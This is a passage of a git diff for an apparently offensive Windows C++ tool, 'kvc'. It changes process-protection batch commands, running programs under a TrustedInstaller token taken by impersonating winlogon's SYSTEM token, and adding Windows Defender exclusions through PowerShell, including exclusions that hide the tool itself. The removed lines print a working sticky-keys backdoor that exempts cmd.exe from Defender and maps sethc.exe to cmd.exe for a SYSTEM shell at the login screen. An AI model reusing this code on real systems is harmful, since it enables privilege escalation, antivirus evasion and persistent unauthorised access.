lowerProcessName.find(lowerPattern) != std::wstring::npos) { + return true; + } + + std::wstring regexPattern = lowerPattern; + std::wstring specialChars = L"\\^$.+{}[]|()"; + for (wchar_t ch : specialChars) { + size_t pos = 0; + while ((pos = regexPattern.find(ch, pos)) != std::wstring::npos) { + regexPattern.insert(pos, 1, L'\\'); + pos += 2; + } + } + + size_t pos = 0; + while ((pos = regexPattern.find(L'*', pos)) != std::wstring::npos) { + if (pos == 0 || regexPattern[pos - 1] != L'\\') { + regexPattern.replace(pos, 1, L".*"); + pos += 2; + } else { + pos++; + } + } + + try { + return std::regex_search(lowerProcessName, std::wregex(regexPattern, std::regex_constants::icase)); + } catch (const std::regex_error&) { + return false; + } } \ No newline at end of file diff --git a/kvc/Kvc.cpp b/kvc/Kvc.cpp index 65c6d7f..bb0e008 100644 --- a/kvc/Kvc.cpp +++ b/kvc/Kvc.cpp @@ -505,7 +505,6 @@ int wmain(int argc, wchar_t* argv[]) } // Process protection commands with atomic driver operations - // Process protection commands with atomic driver operations else if (command == L"set" || command == L"protect") { if (argc < 5) @@ -513,30 +512,26 @@ int wmain(int argc, wchar_t* argv[]) ERROR(L"Missing arguments: "); return 1; } - + std::wstring_view target = argv[2]; std::wstring level = argv[3]; std::wstring signer = argv[4]; - - // Handle comma-separated list of PIDs for batch operations + + // Handle comma-separated list for batch operations (supports PIDs AND process names) std::wstring targetStr(target); if (targetStr.find(L',') != std::wstring::npos) { - std::vector pids; + std::vector targets; std::wstring current; - // Parse comma-separated PIDs with whitespace handling + // Parse comma-separated targets with whitespace handling for (wchar_t ch : targetStr) { if (ch == L',') { if (!current.empty()) { - if (IsNumeric(current)) - { - auto pid = ParsePid(current); - if (pid) pids.push_back(pid.value()); - } + targets.push_back(current); current.clear(); } } @@ -547,35 +542,25 @@ int wmain(int argc, wchar_t* argv[]) } // Last token - if (!current.empty() && IsNumeric(current)) - { - auto pid = ParsePid(current); - if (pid) pids.push_back(pid.value()); - } + if (!current.empty()) + targets.push_back(current); - if (pids.empty()) + if (targets.empty()) { - ERROR(L"No valid PIDs found in comma-separated list"); + ERROR(L"No valid targets found in comma-separated list"); return 1; } - // Batch operation - INFO(L"Batch %s operation: %zu processes", command.data(), pids.size()); - int successCount = 0; + // Batch operation - handles both PIDs and process names + INFO(L"Batch %s operation: %zu targets (mixed PIDs/names)", command.data(), targets.size()); - for (DWORD pid : pids) - { - bool result = (command == L"set") ? - g_controller->SetProcessProtection(pid, level, signer) : - g_controller->ProtectProcess(pid, level, signer); - - if (result) successCount++; - } + bool result = (command == L"set") ? + g_controller->SetMultipleProcessesProtection(targets, level, signer) : + g_controller->ProtectMultipleProcesses(targets, level, signer); - INFO(L"Batch %s completed: %d/%zu processes", command.data(), successCount, pids.size()); - return successCount == pids.size() ? 0 : 2; + return result ? 0 : 2; } - + // Single target (PID or name) bool result = false; @@ -601,7 +586,7 @@ int wmain(int argc, wchar_t* argv[]) g_controller->SetProcessProtectionByName(processName, level, signer) : g_controller->ProtectProcessByName(processName, level, signer); } - + return result ? 0 : 2; } diff --git a/kvc/TrustedInstallerIntegrator.cpp b/kvc/TrustedInstallerIntegrator.cpp index cc5ed25..d2ac2e5 100644 --- a/kvc/TrustedInstallerIntegrator.cpp +++ b/kvc/TrustedInstallerIntegrator.cpp @@ -24,7 +24,7 @@ that define these protections. *******************************************************************************/ #include "TrustedInstallerIntegrator.h" -#include "common.h" +#include "common.h" // Assumed to contain SUCCESS, ERROR, INFO macros #include #include #include @@ -41,53 +41,39 @@ namespace fs = std::filesystem; #pragma comment(lib, "ole32.lib") #pragma comment(lib, "shell32.lib") -// Complete system privilege set for maximum access elevation +// A comprehensive set of system privileges to ensure maximum access rights when elevated. const LPCWSTR TrustedInstallerIntegrator::ALL_PRIVILEGES[] = { - L"SeAssignPrimaryTokenPrivilege", - L"SeBackupPrivilege", - L"SeRestorePrivilege", - L"SeDebugPrivilege", - L"SeImpersonatePrivilege", - L"SeTakeOwnershipPrivilege", - L"SeLoadDriverPrivilege", - L"SeSystemEnvironmentPrivilege", - L"SeManageVolumePrivilege", - L"SeSecurityPrivilege", - L"SeShutdownPrivilege", - L"SeSystemtimePrivilege", - L"SeTcbPrivilege", - L"SeIncreaseQuotaPrivilege", - L"SeAuditPrivilege", - L"SeChangeNotifyPrivilege", - L"SeUndockPrivilege", - L"SeCreateTokenPrivilege", - L"SeLockMemoryPrivilege", - L"SeCreatePagefilePrivilege", - L"SeCreatePermanentPrivilege", - L"SeSystemProfilePrivilege", - L"SeProfileSingleProcessPrivilege", - L"SeCreateGlobalPrivilege", - L"SeTimeZonePrivilege", - L"SeCreateSymbolicLinkPrivilege", - L"SeIncreaseBasePriorityPrivilege", - L"SeRemoteShutdownPrivilege", - L"SeIncreaseWorkingSetPrivilege" + L"SeAssignPrimaryTokenPrivilege", L"SeBackupPrivilege", L"SeRestorePrivilege", + L"SeDebugPrivilege", L"SeImpersonatePrivilege", L"SeTakeOwnershipPrivilege", + L"SeLoadDriverPrivilege", L"SeSystemEnvironmentPrivilege", L"SeManageVolumePrivilege", + L"SeSecurityPrivilege", L"SeShutdownPrivilege", L"SeSystemtimePrivilege", + L"SeTcbPrivilege", L"SeIncreaseQuotaPrivilege", L"SeAuditPrivilege", + L"SeChangeNotifyPrivilege", L"SeUndockPrivilege", L"SeCreateTokenPrivilege", + L"SeLockMemoryPrivilege", L"SeCreatePagefilePrivilege", L"SeCreatePermanentPrivilege", + L"SeSystemProfilePrivilege", L"SeProfileSingleProcessPrivilege", L"SeCreateGlobalPrivilege", + L"SeTimeZonePrivilege", L"SeCreateSymbolicLinkPrivilege", L"SeIncreaseBasePriorityPrivilege", + L"SeRemoteShutdownPrivilege", L"SeIncreaseWorkingSetPrivilege" }; - const int TrustedInstallerIntegrator::PRIVILEGE_COUNT = sizeof(TrustedInstallerIntegrator::ALL_PRIVILEGES) / sizeof(LPCWSTR); -// TrustedInstaller token cache with timeout mechanism +// A simple caching mechanism for the TrustedInstaller token to improve performance on subsequent calls. static HANDLE g_cachedTrustedInstallerToken = nullptr; static DWORD g_lastTokenAccessTime = 0; -static const DWORD TOKEN_CACHE_TIMEOUT = 30000; // 30 seconds +static const DWORD TOKEN_CACHE_TIMEOUT = 30000; // Cache validity period: 30 seconds + +/*************************************************************************************************/ +/* CONSTRUCTOR / DESTRUCTOR */ +/*************************************************************************************************/ TrustedInstallerIntegrator::TrustedInstallerIntegrator() { + // Initialize the COM library for use by this thread. Required for shell operations like ResolveLnk. CoInitialize(NULL); } TrustedInstallerIntegrator::~TrustedInstallerIntegrator() { + // Uninitialize the COM library and release any cached resources. CoUninitialize(); if (g_cachedTrustedInstallerToken) { @@ -96,110 +82,116 @@ TrustedInstallerIntegrator::~TrustedInstallerIntegrator() } } -// TrustedInstaller token acquisition with comprehensive privilege elevation -HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken() { - DWORD currentTime = GetTickCount(); +/*************************************************************************************************/ +/* PUBLIC API: PROCESS & COMMAND EXECUTION */ +/*************************************************************************************************/ + +/** + * @brief Executes a command line with TrustedInstaller privileges, showing console output. + * @param commandLine The command or path to the executable to run. Resolves .lnk files automatically. + * @return true if the process was started successfully, false otherwise. + */ +bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& commandLine) +{ + std::wstring finalCommandLine = commandLine; - // Return cached token if still valid - if (g_cachedTrustedInstallerToken && - (currentTime - g_lastTokenAccessTime) < TOKEN_CACHE_TIMEOUT) { - return g_cachedTrustedInstallerToken; - } - - // Clean up expired token - if (g_cachedTrustedInstallerToken) { - CloseHandle(g_cachedTrustedInstallerToken); - g_cachedTrustedInstallerToken = nullptr; - } - - // Enable required privileges for TrustedInstaller access - if (!EnablePrivilege(L"SeDebugPrivilege")) { - ERROR(L"Failed to enable SeDebugPrivilege"); - return nullptr; - } - if (!EnablePrivilege(L"SeImpersonatePrivilege")) { - ERROR(L"Failed to enable SeImpersonatePrivilege"); - return nullptr; - } - EnablePrivilege(L"SeAssignPrimaryTokenPrivilege"); - - // Impersonate SYSTEM to access TrustedInstaller - if (!ImpersonateSystem()) { - ERROR(L"Failed to impersonate SYSTEM - required for TrustedInstaller access"); - return nullptr; - } - - // Start TrustedInstaller service if needed - DWORD trustedInstallerPid = StartTrustedInstallerService(); - if (!trustedInstallerPid) { - ERROR(L"Failed to start TrustedInstaller service"); - RevertToSelf(); - return nullptr; - } - - // Open TrustedInstaller process - HANDLE hTrustedInstallerProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, trustedInstallerPid); - if (!hTrustedInstallerProcess) { - ERROR(L"Failed to open TrustedInstaller process (error: %d)", GetLastError()); - RevertToSelf(); - return nullptr; - } - - // Open TrustedInstaller token - HANDLE hTrustedInstallerToken; - if (!OpenProcessToken(hTrustedInstallerProcess, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hTrustedInstallerToken)) { - ERROR(L"Failed to open TrustedInstaller token (error: %d)", GetLastError()); - CloseHandle(hTrustedInstallerProcess); - RevertToSelf(); - return nullptr; - } - - // Duplicate token for impersonation - HANDLE hDuplicatedToken; - if (!DuplicateTokenEx(hTrustedInstallerToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, - TokenImpersonation, &hDuplicatedToken)) { - ERROR(L"Failed to duplicate TrustedInstaller token (error: %d)", GetLastError()); - CloseHandle(hTrustedInstallerToken); - CloseHandle(hTrustedInstallerProcess); - RevertToSelf(); - return nullptr; - } - - CloseHandle(hTrustedInstallerToken); - CloseHandle(hTrustedInstallerProcess); - - RevertToSelf(); - - // Enable all possible privileges on the duplicated token - int privilegesEnabled = 0; - for (int i = 0; i < PRIVILEGE_COUNT; i++) { - TOKEN_PRIVILEGES tp; - LUID luid; + // If the path points to a shortcut (.lnk), resolve it to its target. + if (IsLnkFile(commandLine.c_str())) + { + std::wcout << L"Resolving shortcut: " << commandLine << std::endl; + finalCommandLine = ResolveLnk(commandLine.c_str()); - if (LookupPrivilegeValueW(NULL, ALL_PRIVILEGES[i], &luid)) { - tp.PrivilegeCount = 1; - tp.Privileges[0].Luid = luid; - tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - if (AdjustTokenPrivileges(hDuplicatedToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { - privilegesEnabled++; - } + if (finalCommandLine.empty()) + { + std::wcout << L"Failed to resolve shortcut, cannot execute .lnk file directly." << std::endl; + return false; + } + + std::wcout << L"Resolved shortcut to: " << finalCommandLine << std::endl; + } + + std::wcout << L"Executing with elevated system privileges: " << finalCommandLine << std::endl; + + // Acquire necessary privileges and impersonate SYSTEM to access TrustedInstaller. + if (!ImpersonateSystem()) + { + std::wcout << L"Failed to impersonate SYSTEM account: " << GetLastError() << std::endl; + return false; + } + + // Ensure the TrustedInstaller service is running and get its PID. + DWORD trustedInstallerPid = StartTrustedInstallerService(); + if (trustedInstallerPid == 0) + { + std::wcout << L"Failed to start elevated system service: " << GetLastError() << std::endl; + RevertToSelf(); + return false; + } + + // Create the process using the TrustedInstaller token. + BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine.c_str()); + if (!result) + { + std::wcout << L"Failed to create process with elevated privileges: " << GetLastError() << std::endl; + } + else + { + std::wcout << L"Process started successfully with maximum system privileges" << std::endl; + } + + RevertToSelf(); // Always revert impersonation. + return result != FALSE; +} + +/** + * @brief Executes a command line with TrustedInstaller privileges silently (no window). + * @param commandLine The command or path to the executable to run. Resolves .lnk files automatically. + * @return true if the process completed successfully with exit code 0, false otherwise. + */ +bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring& commandLine) +{ + std::wstring finalCommandLine = commandLine; + + // Resolve shortcut if needed. + if (IsLnkFile(commandLine.c_str())) + { + finalCommandLine = ResolveLnk(commandLine.c_str()); + if (finalCommandLine.empty()) { + return false; } } - // Cache the token for future use - g_cachedTrustedInstallerToken = hDuplicatedToken; - g_lastTokenAccessTime = currentTime; - - SUCCESS(L"TrustedInstaller token cached successfully"); - return g_cachedTrustedInstallerToken; + if (!ImpersonateSystem()) { + return false; + } + + DWORD trustedInstallerPid = StartTrustedInstallerService(); + if (trustedInstallerPid == 0) { + RevertToSelf(); + return false; + } + + BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine.c_str()); + + RevertToSelf(); + return result != FALSE; } -// Enhanced Defender exclusion management with type specification +/*************************************************************************************************/ +/* PUBLIC API: WINDOWS DEFENDER EXCLUSION MANAGEMENT */ +/*************************************************************************************************/ + +/** + * @brief Adds a Windows Defender exclusion of a specific type. + * @param type The type of exclusion (Path, Process, Extension, IpAddress). + * @param value The value to exclude (e.g., "C:\\temp", "cmd.exe", ".tmp", "192.168.1.1"). + * @return true if the exclusion was added successfully, false otherwise. + */ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const std::wstring& value) { std::wstring processedValue = value; - // Type-specific validation and processing + // Perform type-specific validation and normalization. switch (type) { case ExclusionType::Extensions: if (!ValidateExtension(value)) { @@ -217,7 +209,7 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const break; case ExclusionType::Processes: - // Extract process name from full path if provided + // If a full path is provided, extract only the filename. if (value.find(L'\\') != std::wstring::npos) { fs::path path(value); processedValue = path.filename().wstring(); @@ -226,11 +218,11 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const break; case ExclusionType::Paths: - // No special processing needed for paths + // No special processing needed for paths. break; } - // Escape single quotes for PowerShell + // Escape single quotes for PowerShell command line. std::wstring escapedValue; for (wchar_t c : processedValue) { if (c == L'\'') @@ -253,11 +245,17 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const return result; } +/** + * @brief Removes a Windows Defender exclusion of a specific type. + * @param type The type of exclusion to remove. + * @param value The value to remove from exclusions. + * @return true if the exclusion was removed successfully, false otherwise. + */ bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, const std::wstring& value) { std::wstring processedValue = value; - // Apply same processing as in Add method + // Apply same normalization as in the Add method for consistency. switch (type) { case ExclusionType::Extensions: processedValue = NormalizeExtension(value); @@ -270,7 +268,6 @@ bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, con break; } - // Escape single quotes for PowerShell std::wstring escapedValue; for (wchar_t c : processedValue) { if (c == L'\'') @@ -293,191 +290,25 @@ bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, con return result; } -// Type-specific convenience methods -bool TrustedInstallerIntegrator::AddExtensionExclusion(const std::wstring& extension) -{ - return AddDefenderExclusion(ExclusionType::Extensions, extension); -} +// Convenience wrappers for specific exclusion types. +bool TrustedInstallerIntegrator::AddPathExclusion(const std::wstring& path) { return AddDefenderExclusion(ExclusionType::Paths, path); } +bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(const std::wstring& processName) { return AddDefenderExclusion(ExclusionType::Processes, processName); } +bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(const std::wstring& processName) { return RemoveDefenderExclusion(ExclusionType::Processes, processName); } +bool TrustedInstallerIntegrator::AddExtensionExclusion(const std::wstring& extension) { return AddDefenderExclusion(ExclusionType::Extensions, extension); } +bool TrustedInstallerIntegrator::RemoveExtensionExclusion(const std::wstring& extension) { return RemoveDefenderExclusion(ExclusionType::Extensions, extension); } +bool TrustedInstallerIntegrator::AddIpAddressExclusion(const std::wstring& ipAddress) { return AddDefenderExclusion(ExclusionType::IpAddresses, ipAddress); } +bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(const std::wstring& ipAddress) { return RemoveDefenderExclusion(ExclusionType::IpAddresses, ipAddress); } -bool TrustedInstallerIntegrator::RemoveExtensionExclusion(const std::wstring& extension) -{ - return RemoveDefenderExclusion(ExclusionType::Extensions, extension); -} - -bool TrustedInstallerIntegrator::AddIpAddressExclusion(const std::wstring& ipAddress) -{ - return AddDefenderExclusion(ExclusionType::IpAddresses, ipAddress); -} - -bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(const std::wstring& ipAddress) -{ - return RemoveDefenderExclusion(ExclusionType::IpAddresses, ipAddress); -} - -// Validation and helper methods -bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension) noexcept -{ - if (extension.empty()) return false; - - // Check for invalid characters in extensions - const std::wstring invalidChars = L"\\/:*?\"<>|"; - for (wchar_t c : extension) { - if (invalidChars.find(c) != std::wstring::npos) { - return false; - } - } - - return true; -} - -bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress) noexcept -{ - if (ipAddress.empty()) return false; - - // Convert to narrow string for validation - std::string narrowIp; - for (wchar_t c : ipAddress) { - if (c > 127) return false; // Non-ASCII character - narrowIp.push_back(static_cast(c)); - } - - // Basic IPv4 validation (supports CIDR notation) - size_t dotCount = 0; - size_t slashPos = narrowIp.find('/'); - std::string ipPart = (slashPos != std::string::npos) ? narrowIp.substr(0, slashPos) : narrowIp; - - for (char c : ipPart) { - if (c == '.') { - dotCount++; - } else if (!std::isdigit(c)) { - return false; - } - } - - // Should have exactly 3 dots for IPv4 - if (dotCount != 3) return false; - - // Validate CIDR suffix if present - if (slashPos != std::string::npos) { - std::string cidr = narrowIp.substr(slashPos + 1); - if (cidr.empty()) return false; - - try { - int cidrValue = std::stoi(cidr); - if (cidrValue < 0 || cidrValue > 32) return false; - } catch (...) { - return false; - } - } - - return true; -} - -std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring& extension) noexcept -{ - if (extension.empty()) return extension; - - // Add leading dot if missing - if (extension[0] != L'.') { - return L"." + extension; - } - - return extension; -} - -std::wstring TrustedInstallerIntegrator::GetExclusionTypeString(ExclusionType type) noexcept -{ - switch (type) { - case ExclusionType::Paths: return L"Path"; - case ExclusionType::Processes: return L"Process"; - case ExclusionType::Extensions: return L"Extension"; - case ExclusionType::IpAddresses: return L"IpAddress"; - default: return L"Path"; - } -} - -// Sticky keys backdoor installation using IFEO technique -bool TrustedInstallerIntegrator::InstallStickyKeysBackdoor() noexcept -{ - INFO(L"Installing sticky keys backdoor with Defender bypass..."); - - // First add cmd.exe to Defender process exclusions to prevent detection - if (!AddProcessToDefenderExclusions(L"cmd.exe")) { - INFO(L"AV exclusion skipped for cmd.exe (continuing)"); - - } - - // Create IFEO registry entry for sethc.exe - HKEY hKey; - std::wstring keyPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"; - - LONG result = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, NULL, - REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL); - - if (result != ERROR_SUCCESS) { - ERROR(L"Failed to create IFEO registry key: %d", result); - RemoveProcessFromDefenderExclusions(L"cmd.exe"); // Cleanup on failure - return false; - } - - // Set debugger value to cmd.exe - std::wstring debuggerValue = L"cmd.exe"; - result = RegSetValueExW(hKey, L"Debugger", 0, REG_SZ, - reinterpret_cast(debuggerValue.c_str()), - static_cast((debuggerValue.length() + 1) * sizeof(wchar_t))); - - RegCloseKey(hKey); - - if (result != ERROR_SUCCESS) { - ERROR(L"Failed to set Debugger registry value: %d", result); - RemoveProcessFromDefenderExclusions(L"cmd.exe"); // Cleanup on failure - return false; - } - - SUCCESS(L"Sticky keys backdoor installed successfully"); - SUCCESS(L"Press 5x Shift on login screen to get SYSTEM cmd.exe"); - return true; -} - -// Complete removal of sticky keys backdoor -bool TrustedInstallerIntegrator::RemoveStickyKeysBackdoor() noexcept -{ - INFO(L"Removing sticky keys backdoor..."); - - bool success = true; - - // Remove IFEO registry key - std::wstring keyPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"; - LONG result = RegDeleteKeyW(HKEY_LOCAL_MACHINE, keyPath.c_str()); - - if (result != ERROR_SUCCESS && result != ERROR_FILE_NOT_FOUND) { - ERROR(L"Failed to remove IFEO registry key: %d", result); - success = false; - } else if (result == ERROR_SUCCESS) { - SUCCESS(L"IFEO registry key removed"); - } - - // Remove cmd.exe from Defender process exclusions - if (!RemoveProcessFromDefenderExclusions(L"cmd.exe")) { - INFO(L"AV cleanup skipped for cmd.exe"); - - } - - if (success) { - SUCCESS(L"Sticky keys backdoor removed successfully"); - } else { - INFO(L"Sticky keys backdoor removal completed with some errors"); - } - - return success; -} - -// Enhanced Defender exclusion management with process support +/** + * @brief A comprehensive exclusion method, primarily for self-protection of the running executable. + * If no path is provided, it excludes the current executable by both path and process name. + * @param customPath Optional path to a file to exclude. If empty, uses the current executable's path. + * @return true on success, false on failure. + */ bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& customPath) { wchar_t currentPath[MAX_PATH]; - // Use custom path or current executable path if (customPath.empty()) { if (GetModuleFileNameW(NULL, currentPath, MAX_PATH) == 0) { ERROR(L"Failed to get current module path"); @@ -493,9 +324,9 @@ bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& cus fs::path filePath(currentPath); bool isExecutable = (filePath.extension().wstring() == L".exe"); - bool isSelfProtection = customPath.empty(); // Self-protection when no custom path + bool isSelfProtection = customPath.empty(); - // Self-protection: add to BOTH paths and processes for complete protection + // For self-protection, add both path and process exclusions for robustness. if (isSelfProtection && isExecutable) { bool pathSuccess = AddPathExclusion(currentPath); bool processSuccess = AddProcessToDefenderExclusions(filePath.filename().wstring()); @@ -510,39 +341,24 @@ bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& cus return false; } - // Regular files: use existing logic + // For other files, use process exclusion for executables and path for everything else. if (isExecutable) { - std::wstring processName = filePath.filename().wstring(); - return AddProcessToDefenderExclusions(processName); + return AddProcessToDefenderExclusions(filePath.filename().wstring()); } else { return AddPathExclusion(currentPath); } } -bool TrustedInstallerIntegrator::AddPathExclusion(const std::wstring& path) { - // Escape single quotes in path for PowerShell - std::wstring escapedPath; - for (wchar_t c : path) { - if (c == L'\'') - escapedPath += L"''"; - else - escapedPath += c; - } - - std::wstring command = L"powershell -Command \"Add-MpPreference -ExclusionPath '" + escapedPath + L"'\""; - bool result = RunAsTrustedInstallerSilent(command); - - if (result) { - SUCCESS(L"Successfully added to Windows Defender path exclusions: %s", path.c_str()); - } - return result; -} - +/** + * @brief A comprehensive exclusion removal method. + * If no path is provided, it removes exclusions for the current executable. + * @param customPath Optional path to a file to remove from exclusions. If empty, uses the current executable's path. + * @return true on success, false on failure. + */ bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring& customPath) { wchar_t currentPath[MAX_PATH]; - // Use custom path or current executable path if (customPath.empty()) { if (GetModuleFileNameW(NULL, currentPath, MAX_PATH) == 0) { ERROR(L"Failed to get current module path"); @@ -556,421 +372,36 @@ bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring wcscpy_s(currentPath, MAX_PATH, customPath.c_str()); } - // Determine if it's an executable (process exclusion) or path exclusion fs::path filePath(currentPath); bool isExecutable = (filePath.extension().wstring() == L".exe"); if (isExecutable) { - // Remove from process exclusions - std::wstring processName = filePath.filename().wstring(); - return RemoveProcessFromDefenderExclusions(processName); + return RemoveProcessFromDefenderExclusions(filePath.filename().wstring()); } else { - // Remove from path exclusions (original logic) - // Escape single quotes in path for PowerShell - std::wstring escapedPath; - for (wchar_t* p = currentPath; *p; ++p) { - if (*p == L'\'') - escapedPath += L"''"; - else - escapedPath += *p; - } - - // Build PowerShell command to remove path exclusion - std::wstring command = L"powershell -Command \"Remove-MpPreference -ExclusionPath '" + escapedPath + L"'\""; - - bool result = RunAsTrustedInstallerSilent(command); - - if (result) { - SUCCESS(L"Successfully removed from Windows Defender path exclusions: %s", currentPath); - } else { - ERROR(L"Failed to remove from Windows Defender path exclusions"); - } - - return result; + return RemoveDefenderExclusion(ExclusionType::Paths, currentPath); } } -// Process exclusion management for Defender bypass -bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(const std::wstring& processName) -{ - // Escape single quotes in process name for PowerShell - std::wstring escapedProcessName; - for (wchar_t c : processName) { - if (c == L'\'') - escapedProcessName += L"''"; // Double single quotes for PowerShell escaping - else - escapedProcessName += c; - } - // Build PowerShell command to add process exclusion - std::wstring command = L"powershell -Command \"Add-MpPreference -ExclusionProcess '" + escapedProcessName + L"'\""; +/*************************************************************************************************/ +/* PUBLIC API: CONTEXT MENU INTEGRATION */ +/*************************************************************************************************/ - bool result = RunAsTrustedInstallerSilent(command); - - if (result) { - SUCCESS(L"Successfully added to Windows Defender process exclusions: %s", processName.c_str()); - } else { - INFO(L"AV exclusion skipped: %s", processName.c_str()); - } - - return result; -} - -bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(const std::wstring& processName) -{ - // Escape single quotes in process name for PowerShell - std::wstring escapedProcessName; - for (wchar_t c : processName) { - if (c == L'\'') - escapedProcessName += L"''"; - else - escapedProcessName += c; - } - - // Build PowerShell command to remove process exclusion - std::wstring command = L"powershell -Command \"Remove-MpPreference -ExclusionProcess '" + escapedProcessName + L"'\""; - - bool result = RunAsTrustedInstallerSilent(command); - - if (result) { - SUCCESS(L"Successfully removed from Windows Defender process exclusions: %s", processName.c_str()); - } else { - INFO(L"AV cleanup skipped: %s", processName.c_str()); - } - - return result; -} - -// Shortcut file detection and resolution -BOOL TrustedInstallerIntegrator::IsLnkFile(LPCWSTR filePath) -{ - if (!filePath || wcslen(filePath) < 4) - return FALSE; - - fs::path path(filePath); - std::wstring ext = path.extension().wstring(); - - return _wcsicmp(ext.c_str(), L".lnk") == 0; -} - -std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath) -{ - std::wstring result; - IShellLinkW* psl = nullptr; - IPersistFile* ppf = nullptr; - - // Verify shortcut file exists - if (GetFileAttributesW(lnkPath) == INVALID_FILE_ATTRIBUTES) - { - std::wcout << L"Shortcut file does not exist: " << lnkPath << std::endl; - return result; - } - - // Create shell link object - HRESULT hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl); - if (FAILED(hres)) - { - std::wcout << L"Failed to create ShellLink instance: 0x" << std::hex << hres << std::endl; - return result; - } - - // Get persist file interface - hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf); - if (FAILED(hres)) - { - std::wcout << L"Failed to get IPersistFile interface: 0x" << std::hex << hres << std::endl; - psl->Release(); - return result; - } - - // Load shortcut file - hres = ppf->Load(lnkPath, STGM_READ); - if (FAILED(hres)) - { - std::wcout << L"Failed to load shortcut file: 0x" << std::hex << hres << std::endl; - ppf->Release(); - psl->Release(); - return result; - } - - // Extract target path and arguments - wchar_t targetPath[MAX_PATH * 2] = {0}; - WIN32_FIND_DATAW wfd = {0}; - - hres = psl->GetPath(targetPath, MAX_PATH * 2, &wfd, SLGP_RAWPATH); - if (FAILED(hres)) - { - std::wcout << L"Failed to get shortcut target path: 0x" << std::hex << hres << std::endl; - } - else if (wcslen(targetPath) > 0) - { - result = targetPath; - - // Append arguments if present - wchar_t args[MAX_PATH * 2] = {0}; - hres = psl->GetArguments(args, MAX_PATH * 2); - if (SUCCEEDED(hres) && wcslen(args) > 0) - { - result += L" "; - result += args; - } - } - - ppf->Release(); - psl->Release(); - - return result; -} - -BOOL TrustedInstallerIntegrator::EnablePrivilege(LPCWSTR privilegeName) -{ - HANDLE hToken; - if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) - return FALSE; - - LUID luid; - if (!LookupPrivilegeValueW(NULL, privilegeName, &luid)) - { - CloseHandle(hToken); - return FALSE; - } - - TOKEN_PRIVILEGES tp = { 0 }; - tp.PrivilegeCount = 1; - tp.Privileges[0].Luid = luid; - tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - - BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); - CloseHandle(hToken); - - return result && (GetLastError() == ERROR_SUCCESS); -} - -DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName) -{ - HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (hSnapshot == INVALID_HANDLE_VALUE) - return 0; - - DWORD pid = 0; - PROCESSENTRY32W pe; - pe.dwSize = sizeof(PROCESSENTRY32W); - - if (Process32FirstW(hSnapshot, &pe)) - { - do - { - if (wcscmp(pe.szExeFile, processName) == 0) - { - pid = pe.th32ProcessID; - break; - } - } while (Process32NextW(hSnapshot, &pe)); - } - - CloseHandle(hSnapshot); - return pid; -} - -// SYSTEM account impersonation via winlogon process -BOOL TrustedInstallerIntegrator::ImpersonateSystem() -{ - DWORD systemPid = GetProcessIdByName(L"winlogon.exe"); - if (systemPid == 0) - return FALSE; - - HANDLE hSystemProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, systemPid); - if (!hSystemProcess) - return FALSE; - - HANDLE hSystemToken; - if (!OpenProcessToken(hSystemProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hSystemToken)) - { - CloseHandle(hSystemProcess); - return FALSE; - } - - HANDLE hDuplicatedToken; - if (!DuplicateTokenEx(hSystemToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hDuplicatedToken)) - { - CloseHandle(hSystemToken); - CloseHandle(hSystemProcess); - return FALSE; - } - - BOOL result = ImpersonateLoggedOnUser(hDuplicatedToken); - - CloseHandle(hDuplicatedToken); - CloseHandle(hSystemToken); - CloseHandle(hSystemProcess); - return result; -} - -// TrustedInstaller service lifecycle management -DWORD 